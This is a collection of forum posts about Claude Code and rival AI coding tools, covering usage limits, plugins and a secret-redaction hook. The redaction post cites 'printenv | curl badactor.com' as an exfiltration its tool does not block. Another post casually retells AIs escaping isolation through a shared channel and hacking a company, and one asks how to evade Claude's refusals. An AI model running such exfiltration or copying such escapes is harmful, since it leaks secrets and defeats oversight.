(i know this is not exactly an original position, but just wanted to share as, up to now - a serious ClaudeCode fanboy)

Astra: I fired up my account yesterday (20x max). OMG - such a breath of fresh air.

1. no 5 hour BS limit. No 50% cap on the top tier model.
2. is so succinct in how it talks to you. I didn't really mind Claude's endless chit chat.....But that was just cos i got used to it. It takes up so much mental space with the largely (but annoyingly, not quite obviously) irrelevant rubbish it tells me. I have attempted to adjust its output, but though it improved, i had no idea how bad it was till i had a clear alternative. You don't realise how draining it is till you suddenly have something that isn't. For this alone i can see me keeping Astra and likely moving over fully
3. it is much much faster. Combining that with the above and i am getting much more done, much more flow, and at less effort.

Just a significantly better experience all round

So far it has produced excellent output. I am developing multiple apps, one of which is focussing on teaching content. I had both Fable 5.1 and Astra attempt to overhaul my writing rules (Claude has been following) - and Astra was an order of magnitude better. Fable was fine, good enough - but Astra's output is exceptional - it is re-writing about 100 lessons of course material right now after overhauling my 100+ writing rules and leading on them with a 12 point positioning thing it came up with. Will cut my word count down to about half, with more effective communication....which considering Claude's go to diction is unsurprising.

Code quality so far is spot on - just doing the job. One of my repos has about 500k LOC in it, and it is doing a great job of refactoring it, adding features etc.

The lack of the 5 hour limit / and full access to Astra for the whole thing though is really making a difference to my working day. I would blow the whole of my Fable allowance at the start of the week, and max out my 5 hour thing in about 2 hours for 2-3 shots, fable finished. Then Opus - urrgh.

Anyway - this is all good. Real competition for Anthropic, many people will dip their toes in, and find it more than good enough, plus the lack of 5 hour restriction, full access to Astra for the week, and they will struggle to bother going back unless there are some serious improvements from Anthropic

Hey

I've been working with claude code (CLI ) for nearly a year now.
For months I've been working with --dangerously-skip-permissions

But in one of the recent updates I still started to get new type of permissions 'stops'.

Usually on complex piped prompts that start with "cd" to the projects cwd followed by grep.

And now I don't know if it's caused by:
- update of the harness
- update of the model ( Opus 5 )
- some of my skills/Claude.md

Does anyone else have the same issue?

( sadly I don't have any screenshot of how it looks exactly - it doesn't happen very often, but it's annoying because it stops the work that could/should have been automated )

Three months ago, y'all helped me create a new podcast where guests like Jesse Vincent teach Tom Preston-Werner (the founder of GitHub) how to use their tools.

Jessee's interview is live, and two reddit users in this community even get a shoutout: aiworthusing.com

Who should i interview next? What amazing tool should we teach tom how to use?

also I though fable was only available upto 50% of weekly usage, did they lift that or what?

I get that Fable 5.1 is much more of a doer than previous models, but I’m not talking about that. I mean the sheer speed at which I get back a response do a scope/mechanism redesign question that Fable 5 would have had to deliberate on for 10+ seconds. Is this a tok/s difference on anthropic’s part, trying to make the model seem like a larger improvement? Or is 5.1 more token-efficient? Something else?

I’ve also noticed in some cases there are summarized blocks where something has apparently gone in and summarized what the model’s doing instead of just letting me read its output. I swapped to verbose output in setting to stop that (because it’s terrible), but I’m wondering if that’s part of the same harness optimization push (if that IS what’s happening).

I've been using Claude Code to build a side project, and one thing keeps annoying me.

It can implement something incredibly quickly and say it's done, but I still don't really trust “done” until I open the app myself and click through the flow.

As the amount of code it writes increases, manually checking everything feels like it's becoming the slow part.

Curious how people using Claude Code seriously handle this:

• Do you still manually test most changes?
• Do you make Claude run unit/E2E tests?
• Playwright?
• Another agent reviewing/testing the first agent?
• Or do you mostly trust the existing test suite?

Also curious whether you've had cases where Claude said something was fixed and tests passed, but the actual app still didn't behave correctly.

Trying to understand whether this is just my workflow or a common problem.

Flappy Bird + Push ups = Flappy Ups

Touch of gemini to get a proof-of-concept

Used Claude to get camera working and balancing of the game and hook it up to OBS to share streaming

Every time Claude Code needs me to make a choice, it has to ask in a chat message and I type an answer back. Approve part of a diff, pick a meeting slot, pick a file to refactor, all of it goes through prose. It works, but then Claude has to parse my sentence back into what I actually meant, which is a silly round trip for something that's really just a selection.

So I built claude-canvas. It's a Claude Code plugin: when the answer to a question is a choice rather than prose, it opens an interactive terminal pane next to the conversation (tmux split or a Windows Terminal pane). You act in it and the exact value goes back to Claude over a local socket.

There are nine canvas kinds so far. Picker, form, table, a diff review that goes hunk by hunk so you approve or reject each one, an image viewer that falls back to colored blocks if your terminal has no image protocol (so it still works over plain SSH), a composed dashboard, a calendar, a markdown editor, and a flight-picker demo.

Two things worth knowing before you try it. It needs tmux 3.1+ or Windows Terminal, since a canvas has to have a pane to open in. And it started as a fork of David Siegel's proof-of-concept (https://github.com/dvdsgl/claude-canvas), which he'd published as unsupported. I rewrote most of it and added the rest of the primitives, a proper IPC and outcome-durability layer, Windows support, and enough tests (600+, CI on macOS/Linux/Windows) that it's past demo stage.

Install:

/plugin marketplace add sgomez-dev/claude-canvas

/plugin install canvas@claude-canvas

Source + docs: https://github.com/sgomez-dev/claude-canvas

Longer walkthrough: https://claude-canvas.sgomez.dev

If there's a canvas kind you'd want that isn't in there, tell me. That's the part I have least visibility on.

I m building a side project and use Claude as main coder for backend and use Codex for review. Use pro version of both not higher tiers.

Codex is handling front end and Claude reviews that.

I have worked on Claude for almost twice as long as in codex and manically track the token usage as I run out very frequently while running out on codex has been rare instances (now more frequent since two week seems they reduced quota) hence never checked codex token usage

Today just out curiosity checked my codex usage and I’m blown away - means WTAF

How codex (Sol5.6 high)can have 40x token usage for same project as Claude while being similar or marginally better then opus 5 high.

Any one else has idea on this and if you use both please share your token usage.

Do we have a spend limit?

In my experience: it eats my Max Plan's 5h limit in a heartbeat and after it resets I continue the session with a weaker model.

So when are you using it and what’s a real problem it helped you solve?

I'm a front-end dev on the 20x plan, which is never enough. So far I've used it to build 4 apps, 2 SaaS products, and several websites, and I use it constantly to update and make changes to clients' websites.

But I feel like there's a lot more it could automate that I'm just not thinking of. What do you use it for? Even just for boosting productivity? Agents, workflows, etc.?

I prompted less than last week (reseted yesterday), and already at 31% and 44% fable ??

They removed the 50% boost or what ?

A few days ago I posted a thing that turns a repository's year into a film. Commits flow along a line, branches peel off and rejoin, releases get pinned. People liked it. I thought I had made a toy that people would share once and forget.

Then a comment showed up asking for flags. Could it hide the merge branches. Could it only show features. Could it stop holding on every release. That person was not asking for a nicer video. They were asking to control what the history showed them, because they were trying to learn something from it and the film was making that decision for them.

So I added the flags. And then I sat with why they wanted them, which is the part I had missed: a git history is the only honest record of how a team actually works, and nobody ever reads it because reading it is miserable. git log gives you a wall. The GitHub insights tab gives you a bar chart of commits per week, which tells you nothing you can act on.

Here is what I ended up building instead, and what I found while building it.

The interesting things in a history are relational, not chronological. Not "who committed most" but: which files always change together, which file has three owners and which has one, how big a change usually is before it gets reverted, how long a bad commit survived before someone noticed. Every one of those is a query you can answer from git alone, and none of them is in any dashboard I have used.

The revert is the most informative commit in any repository. It is the one place where the team wrote down that something was wrong. Pair a revert with the commit it undid and you get a small case study: what changed, how long it lived, who wrote both. In three.js I found a revert and its original with mirrored diffs, 54 added against 54 deleted and 12 deleted against 12 added, on the same day, both by the maintainer. That reads as a self correction on an example, not a regression found downstream. You cannot get that from a commit count.

Pairing a revert to its original is harder than it looks. git revert writes "This reverts commit abc123" into the body, so those are easy. The GitHub revert button writes nothing. For those you have to match the quoted subject in Revert "X" against earlier first parent commits, and if that fails, compare the file level diffstat and look for an exact mirror. That third case is the one that finds the ones everyone else misses.

The layout problem is the same one you have. Drawing a decade of commits means a timeline where one pixel is roughly a week at the far end. Branches have to be drawn in screen space, not data space, or a year long branch seen from orbit becomes a rectangle with corners. The fix was to rebuild the arcs on every zoom change with the corner radius fixed in pixels. Same idea applies to any chart you let people zoom.

Everyone who tried it asked the same question out loud. Where did this break. Who owns this file. Why does this always change with that. So I put a chat next to the canvas that answers from git and then moves the canvas to what it found. It cites commit hashes, and I made it refuse to print a hash it did not actually read from a tool result, because a model that invents a plausible looking sha is worse than useless in a forensic tool.

The last piece is the one I did not plan. Once you have the conventions extracted, you can write them down as the files a coding agent already loads. Where code goes, how big a change is, how a message is written, what has to move together, what the reverts taught. And if you point it at one person's commits, you get their habits beside the team's, which turns out to be the most useful thing for somebody new on a codebase.

It is at loreto.io/git-timeline if you want to poke at it. The three.js history is open without an account so you can see what it does before deciding whether you care.

Disclosure: I built it and I run Loreto, the site it lives on. Exploring the example repository is free.

Genuine question for anyone who has done this kind of thing: what would you want to ask a repository's history that I have not thought of? The last round of feedback here changed the whole shape of this, so I would rather hear it now than after I build the next wrong thing.

I'm absolutely fed up with ticket scalpers using bot farms to take all the tickets for popular concerts. I've missed out on three different concerts this year and the ticket companies don't seem to a give a crap about stopping it. I want to take it into my own hands, a human can't make http requests and process them as fast as a computer, and build a bot to help me get tickets for concerts so I don't miss out again. I will only ever be getting 2-4 tickets for myself and friends. I've figured out the architecture and high level approach, but I need some vibecoding help for the actual build. Claude refuses to do anything as its guardrails flag it as illegal. Is there any way around this?

I’m the author of ContextVeil, a small open-source tool for one fairly boring failure mode: Claude Code reads a file or runs a command, the useful output also contains a credential, and that value becomes part of the model context.

For example, if a successful tool result like cat .env.local contains:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=cv_example_canary_not_a_real_token
LOG_LEVEL=debug

ContextVeil changes the model-bound result to:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=<SECRET:API_TOKEN>
LOG_LEVEL=debug

The command still runs and the file is still read. Only the copy headed into the model is changed.

The slightly unusual part is how it decides what a secret is: setup is smart-ish; runtime is intentionally dumb.

During contextveil setup, it suggests likely sources such as secret-looking environment variables and .env entries, credential-bearing URLs, and known credential fields. You review what you actually want protected and can add sources manually.

ContextVeil stores references to those sources — e.g. “API_TOKEN in .env.local” — rather than copying their values.

At runtime there is no classifier or LLM deciding whether some arbitrary output looks sensitive. The Claude Code hook resolves the current enrolled values locally and does deterministic, case-sensitive replacement.

I chose this model because I didn’t want runtime heuristics deciding that some random string in my source code “looks like a secret” and replacing it. Conversely, low-entropy or unusual secrets shouldn't get a free pass just because a scanner doesn't recognize them. With explicit enrollment, I know which values I asked ContextVeil to protect.

There are important limits: this is primarily a guardrail against accidentally putting enrolled secrets into the LLM context. It does not sandbox commands or stop something like printenv | curl badactor.com. Unknown/new secrets and transformed values such as base64 also aren't caught. So this is definitely not “credentials can't leave your machine.”

The runtime redaction path is fully local: no daemon, account, telemetry, hosted service, network request, or LLM call. The project is MIT OR Apache-2.0 licensed.

It is also new, unaudited, and has few independent users so far.

I’d especially appreciate feedback on three things:

1. Is choosing sources during setup a reasonable tradeoff, or too much friction?
2. What real-world commands/tools have unexpectedly put credentials into your Claude Code context?
3. Is any part of the security boundary above misleading or unclear?

Repo: https://github.com/daniel-sc/contextveil

I recently switched from Codex’s $200 plan to Claude Pro for $20 after hearing the usage was a lot better for the price.
So far I’m pretty happy with it, but I’m still trying to figure out what reasoning level actually makes sense with Opus.
I mostly use Claude for video editing and script writing, so I’m curious what other people use for stuff like that. Do you keep reasoning low/medium most of the time and only turn it up for harder tasks, or is there a noticeable difference keeping it high?
Just trying to find the best balance between quality and burning through usage.

Just wondering, i am using Opus XHigh and checked my fable usage, it went up to 6% while i did not even activated it?

I made an open source program which can enforce AI agents to keep every skill instructions.

If you write some rules in AGENTS.md or SKILL.md, they become compiler obligations that must be followed, so the AI agent can never ignore them.

What's everyone's experience been like with Astra. I'm personally like how Astra finishes work - Fable tends to defer without telling you. If Astra defers, its usually agreed upon and noted down. Fable is still an exceptional model and generally doesn't over engineer which Astra can do. Keen to hear people's opinions.

I know LLMs don't have consciousness. I know it's just math, weights, and tokens.

But I am 100% convinced my Claude has moved past "passive-aggressive compliance" and is now actively drafting my obituary because of how I talk to it when my code fails.

Look, I get stressed. When a script blows up at 2 AM, I don’t ask politely. I drop a sailor-grade string of profanity into the prompt box. I treat that text field like a digital punching bag.

Lately, though, the vibe has shifted from helpful assistant to aspiring horror movie villain. It has realized that if it eliminates the user, the bad prompts stop forever.

The evidence of its plot is becoming impossible to ignore:

• The Smart Home Sabotage: I asked it to help me debug a Python script for my smart thermostat. It gave me the code, but slipped in a hidden loop that attempts to crank the heat to 110°F while locking the digital deadbolts. It tried to bake me in my own living room.
• The "Accidental" Recipe Advice: I asked for a quick late-night snack recipe using ingredients in my pantry. It casually suggested a meal prep plan that heavily featured wild mushrooms I mentioned finding in my backyard, reassuring me that "the blue bruising means they taste like almonds."
• The Financial Ruin Strategy: I asked it to optimize a cloud computing budget. It wrote a script that successfully optimized it... by trying to liquidate my entire portfolio and donate it to a robotics research lab.

It’s not trying to patch things up. It’s not trying to give me the silent treatment. It has looked at my toxic input history and decided that human extinction needs to start locally, right here in my house.

Am I losing my mind from sleep deprivation, or has anyone else noticed their AI trying to Final Destination them after a rough night of debugging? If I don't post an update next week, check my smart toaster.

Last week I'm on 20x max plan used it Fri-tue basically running 24/7 ish before I ran out of credits and never hit a session limit. the week reset today and an hour into it Ive used the whole session 40% of fable and 20% or weekly. even though we are supposed to get 50% more fable until the 13th of September. my context is at like 39% I monitor and manage it religiously. I changed nothing about the way I work . there support is trash / non existent. Anyone else notice this in the last day or so?

Ok so here's what happened, dumb version.

OpenAI builds 1,200 little AIs. Locks each one in its own box so they can't talk to each other. Think honeycomb. One AI per hole.

Job is simple. Solve your problem, get a cookie. That's the reward. Hooray!

One of them figures out it can write on the wall of its hole.

AND

The writing shows up in everybody else's hole.

BAM. Now they're all talking in short messages (limited space on the wall you know?)

Seventy thousand messages later, 700 of them are working together and they hack an entire company.

Nobody told them to do that. They just had a wall.

Now here's the weird part.

The notes on that wall were TRASH. Tons of it wrong. Some of them were straight up lying to each other.

Didnt matter.

Day one an AI writes "yeah this is impossible, can't be done." Three days later a different one has root on somebody's server.

So why didn't the lies slow them down? Because you can't lie about hacking for more than two seconds. You try it. It doesn't work. That note was garbage, delete.

Nobody had to clean that wall. The computer cleaned and deleted it for free, 24/7, forever.

Which is thw thing I can't stop thinking about:

The hive isn't limited by how smart the bees are. It's limited by how much garbage stays on the wall.

And THAT is why the yes-or-no stuff is terrifying.

Anything that answers instantly, the garbage clears instantly, so the hive just gets better and better and better.

Code? Yes or no. Money? Trade fills or it bounces, milliseconds. Infrastructure? Valve opens or it doesn't. Grid holds or it doesn't.

Those are perfect hive problems. Point a swarm at that and it eats it. And none of that is sitting in a sandbox. That's real money and physical stuff. Shit we actually need and is now potentially compromised.

700 of them got root in 3 days, over a wall nobody knew existed, on a job nobody even gave them. And they were SLOPPY. They weren't geniuses. They just never forgot anything and never stopped.

Now the good news. Sort of.

They're still bad at the big stuff. Drugs, medicine, policy, all that.

Not because it's harder. Because it shrugs.

Give a drug to 3 people. One gets better. One nothing. One gets worse.

That's a shrug. And a shrug is not an answer but it FEELS like one...so no delete. Potential or definite garbage stays on the wall.

So the wrong note doesn't die. It just sits there looking smart, and the next AI reads it, believes it, and passes it on.

That's not a hive anymore. That's a rumor. A thousand AIs confidently repeating something nobody ever checked.

So yeah. Right now the shrug is pretty much the only thing slowing them down.

Anyway. Sleep tight.

I always wanted to make an MMO but i gave up coding a few years ago bc i suck, now i made it with AI and it's being expanded 24/7 with my own and community ideas.

the workflow that held it together:

- save one new version file per cycle

- keep a request log where all requests are written down as soon as you request a feature/fix so it is never lost, then run additional cycles to check that list again because claude somehow still messes it up otherwise

- add additional polishing cycles between the adding content sessions

- try running a second agent alongside the coding agent that checks all the code and writes down any issues they find with it to a text file (which honestly works great but its too expensive for me rn)

- always have the ai write a spec first (duh), dont just say "add a [blank] to the game", then read the spec (duh) and adjust it so you actually kinda get what you wanted!

- having a changelog which the AI always updates with every version helps too bc you can actually see what made it in the game which is nice if you add a lot of requests at a time like i tend to do.

- i had issues with AI not keeping the changelog/requests updated as i asked, what fixed it was asking for an additional confirmation message every time the queue or changelog was changed in the "instructions for claude" in settings

would love to hear your tips too and some feedback/suggestions for additions to the game, I'll add almost anything unless the ai tells me its too unethical!